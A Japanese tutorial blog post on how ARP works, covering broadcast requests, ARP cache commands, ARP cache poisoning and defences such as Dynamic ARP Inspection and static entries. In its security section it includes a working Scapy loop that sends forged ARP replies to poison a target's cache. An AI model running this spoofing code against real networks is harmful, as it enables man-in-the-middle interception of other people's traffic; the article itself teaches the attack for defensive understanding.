【実務・中級編】 ARP(Address Resolution Protocol)の動作原理 – ネットワーク基礎とWebセキュリティ実践ガイド

宛先IPがわかっても届かない？エンジニアなら知っておくべきARPの裏側とセキュリティの罠

Web APIの設計や、クラウド上のVPCネットワークの構築に日夜奔走しているインフラエンジニアの皆さん、こんにちは。

「ブラウザにURLを叩いたら、なぜかAPIサーバーと繋がらない」
「コンテナ間の通信で、時々パケットが迷子になっている気がする」

そんなトラブルシューティングの現場で、OSI参照モデルの第3層（ネットワーク層）であるIPアドレスばかりに気を取られていませんか？ 実は、どれほど完璧なルーティングテーブルを描いても、最終的にパケットを物理的なケーブルや仮想スイッチへ送り出すためには、第2層（データリンク層）の主役であるMACアドレスが絶対に必要です。

今回は、IPアドレスという「論理の住所」を、MACアドレスという「物理的な宛名」に翻訳する黒衣のプロトコル、ARP（Address Resolution Protocol）の動作原理を、実務の現場で役立つデバッグ手順やセキュリティの脅威を交えて徹底的に解説します。

—

1. なぜIPアドレスだけでは通信できないのか？

私たちが普段何気なく使っている https://api.example.com というホスト名や、それに紐づく 192.168.1.10 といったIPアドレスは、いわば郵便の手紙に書く「宛先の住所」です。郵便配達員（ルーター）が日本全国、あるいは世界中を迷わず荷物を運ぶためには、この住所が不可欠です。

しかし、荷物が最後の宛先（同じLAN内にあるスイッチのポートやサーバーのNIC）に到着し、物理的なケーブルの端と端でデータをやり取りする瞬間、ネットワークカード（NIC）はIPアドレスなんて見ていません。彼らが認識するのは、世界に一つだけのハードウェア固有の識別子、つまり 48ビットのMACアドレス だけです。

ここで、ひとつの疑問が湧きます。
「私たちは宛先のIPアドレスしか知らない。どうやって相手のMACアドレスを知るのか？」

その答えが、今回主役となる ARP です。

—

2. ARPの基本動作原理：ブロードキャストとユニキャストのダンス

同一セグメント（同一ブロードキャストドメイン）内で、あるホスト（例: 192.168.1.5）が、別のホスト（例: 192.168.1.100）のMACアドレスを知りたいとき、ネットワーク上ではドラマチックなやり取りが繰り広げられます。

通信フロー（シーケンス）

1. ARPリクエスト（ブロードキャスト）の送信
送信元は、「192.168.1.100 のIPアドレスを持っている人はいませんか？いたらあなたのMACアドレスを私（192.168.1.5）に教えてください！」というブロードキャストフレームをネットワーク全体に投げます。

  • 宛先MACアドレス: ff:ff:ff:ff:ff:ff（ブロードキャスト）
  • この瞬間、LAN内のすべてのマシンのNICがこのパケットを受信し、CPUで処理します。

2. ARPリプライ（ユニキャスト）の返信
ネットワーク上に散らばった無数のマシンの中で、名指しされた 192.168.1.100 のIPアドレスを持つマシンだけが、「はい、それは私です。私のMACアドレスは aa:bb:cc:dd:ee:ff ですよ」と、送信元へ直接返事をします。

  • 宛先MACアドレス: 送信元のMACアドレス（ユニキャスト）

この一連のやり取りを経て、送信元は相手のMACアドレスを手に入れ、ようやく実際のHTTPリクエストやAPIコール（TCPパケット）を流すことができるのです。

—

3. パフォーマンスの要：ARPキャッシュの仕組み

もし、パケットを送るたびに毎回このブロードキャスト（ARPリクエスト）を飛ばしていたらどうなるでしょうか？ 数百台のサーバーが稼働するデータセンターや、オフィスネットワークは、あっという間にARPリクエストの嵐（ブロードキャストストーム）でネットワーク帯域を食いつぶされてしまいます。

そこで登場するのが ARPキャッシュ（ARPテーブル） です。

一度解決した「IPアドレスとMACアドレスの対応関係」は、一定期間、OSのメモリ上にキャッシュされます。実務の現場で、現在のARPキャッシュの状態を確認するには、お使いのOSに応じて以下のコマンドを叩きます。

各種OSでのARPキャッシュ確認・管理コマンド

Linux (Ubuntu / RHEL 等) の場合

# 現在保持しているARPキャッシュの一覧を表示
ip neigh
# 出力例:
# 192.168.1.1 dev eth0 lladdr 11:22:33:44:55:66 REACHABLE

# 特定のキャッシュを強制的に削除（フラッシュ）したい場合
ip neigh flush dev eth0

macOS の場合

# ARPテーブルの確認
arp -a

# 特定のIPのキャッシュを削除
sudo arp -d 192.168.1.100

Windows (PowerShell / コマンドプロンプト) の場合

# ARPテーブルの確認
arp -a

# キャッシュのクリア
netsh interface ip delete arpcache

キャッシュの寿命（エージングタイム）

ARPキャッシュにはTTL（Time To Live）に似た有効期限が存在します。一般的に数分〜20分程度でキャッシュが破棄されるようカーネルパラメータで調整されています。
もし、インフラのメンテナンスでサーバーのNICを交換し、MACアドレスが変わったにもかかわらず通信できないトラブルに遭遇した場合、大抵の原因はこの古いARPキャッシュが残っているせいです。現場では「まずキャッシュを疑え」が鉄則です。

—

4. ARPの致命的な弱点：ARPキャッシュポイズニング

ここまでARPの便利な仕組みを解説してきましたが、セキュリティエンジニアの視点から見ると、ARPには致命的な設計上の欠陥（脆弱性）が存在します。

それが ARPキャッシュポイズニング（ARPスプーフィング） です。

脅威のメカニズム

ARPプロトコルには、「ARPリプライを受け取った側は、リクエストを出していなくても、その内容を無条件で自分のARPキャッシュに書き込んでしまう」という致命的な仕様上の甘さ（認証機構の欠如）があります。

悪意のある攻撃者が、次のような偽のARPリプライを標的のサーバーやルーターに送りつけたとします。

  • 「ゲートウェイ（192.168.1.1）のMACアドレスは、私（攻撃者の端末）のMACアドレスです」

これを受信したサーバーは疑うことなくARPキャッシュを書き換えてしまい、以後、外部へ向かうすべてのWeb APIトラフィックやデータベースへの通信が、すべて攻撃者の端末を経由（中間者攻撃：MitM）するようになってしまいます。

Pythonによる簡易的なARPスプーフィングの概念コード

セキュリティ診断やペネトレーションテストの文脈において、この挙動は Scapy などのライブラリを用いて以下のように数行でシミュレート可能です（※実運用のネットワークでの無断実行は厳禁です）。

from scapy.all import ARP, send
import time

target_ip = "192.168.1.10"      # 標的のサーバーのIP
spoof_ip = "192.168.1.1"        # 偽装したい相手のIP（例: デフォルトゲートウェイ）
attacker_mac = "11:22:33:44:55:66" # 攻撃者のMACアドレス

print("[*] ARPキャッシュポイズニングを開始します...")

try:
    while True:
        # op=2 は ARPリプライを示す
        # 標的に対して「spoof_ipのMACアドレスは attacker_mac だ」と嘘の情報を送り続ける
        packet = ARP(op=2, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", psrc=spoof_ip, hwsrc=attacker_mac)
        send(packet, verbose=False)
        time.sleep(2) # 2秒おきに毒入りのパケットを流し込む
except KeyboardInterrupt:
    print("[*] 停止しました。")

—

5. ゼロトラスト時代のARPセキュリティ対策

現代のエンタープライズネットワークやクラウドネイティブな環境では、もはや「社内ネットワークだから安全」という境界防御の神話は崩壊しています。ARPポイズニングのようなレイヤー2の脅威に対しても、以下のような多層防御が不可欠です。

1. DAI（Dynamic ARP Inspection）の導入
マネージドスイッチやエンタープライズ向けルーターの機能であるDAIを有効化します。DHCPスヌーピングのデータベースと連携し、正当なIPとMACの組み合わせ以外の不審なARPリプライをスイッチのポートレベルで自動的に破棄・ブロックします。
2. 静的ARPエントリの登録（Statically Bound ARP）
重要な基幹サーバーやデータベースサーバーでは、ARPキャッシュをあえてスタティック（静的）に固定し、動的な書き換えを禁止する設定を行います。

# Linuxで静的ARPエントリを追加する例
   ip neigh add 192.168.1.1 lladdr 11:22:33:44:55:66 dev eth0 nud permanent

3. セグメンテーションとマイクロセグメンテーション
不必要に大きなブロードキャストドメインを作らず、VLANやVXLAN、クラウドのセキュリティグループを用いて通信範囲を最小限に絞り込むことで、ARPの届く範囲（攻撃範囲）を物理的・論理的に隔離します。

—

まとめ

今回は、ネットワークの基礎でありながら、トラブルシューティングやセキュリティの肝となるARPの動作原理について解説しました。

  • IPアドレス（論理）からMACアドレス（物理）を解決するのがARPの役割。
  • パフォーマンス向上のための「ARPキャッシュ」があるが、古い情報やキャッシュポイズニングには注意が必要。
  • 認証のないプロトコルだからこそ、スイッチ側の機能（DAI）や静的設定による防御が実務では求められる。

Web APIのレスポンスが返ってこない、あるいはセキュアなインフラを設計する際、パケットが網の目のようにどこを走っているのか、その足元（レイヤー2）の挙動まで想像力を働かせられるエンジニアを目指しましょう。日々の運用やインフラ設計の引き出しが、確実に深まるはずです。

スポンサーリンク

コメント

タイトルとURLをコピーしました